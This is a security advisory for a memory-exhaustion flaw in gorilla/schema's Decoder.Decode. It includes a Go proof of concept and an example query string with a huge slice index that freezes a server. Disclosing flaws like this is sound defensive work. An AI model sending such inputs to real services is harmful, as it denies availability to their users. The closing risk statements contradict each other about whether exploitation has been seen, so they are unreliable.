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GHSA-3669-72x9-r9p3
No affected components available
Details
Running schema.Decoder.Decode() on a struct that has a field of type []struct{...} opens it up to malicious attacks regarding memory allocations, taking advantage of the sparse slice functionality. For instance, in the Proof of Concept written below, someone can specify to set a field of the billionth element and it will allocate all other elements before it in the slice.
In the local environment environment for my project, I was able to call an endpoint like /innocent_endpoint?arr.10000000.X=1 and freeze my system from the memory allocation while parsing r.Form. I think this line is responsible for allocating the slice, although I haven't tested to make sure, so it's just an educated guess.
Proof of Concept
The following proof of concept works on both v1.2.0 and v1.2.1. I have not tested earlier versions.
package main
import (
"fmt"
"github.com/gorilla/schema"
)
func main() {
dec := schema.NewDecoder()
var result struct {
Arr []struct{ Val int }
}
if err := dec.Decode(&result, map[string][]string{"arr.1000000000.Val": {"1"}}); err != nil {
panic(err)
}
fmt.Printf("%#+v\n", result)
}
Impact
Any use of schema.Decoder.Decode() on a struct with arrays of other structs could be vulnerable to this memory exhaustion vulnerability. There seems to be no possible solution that a developer using this library can do to disable this behaviour without fixing it in this project, so all uses of Decode that fall under this umbrella are affected. A fix that doesn't require a major change may also be harder to find, since it could break compatibility with some other intended use-cases.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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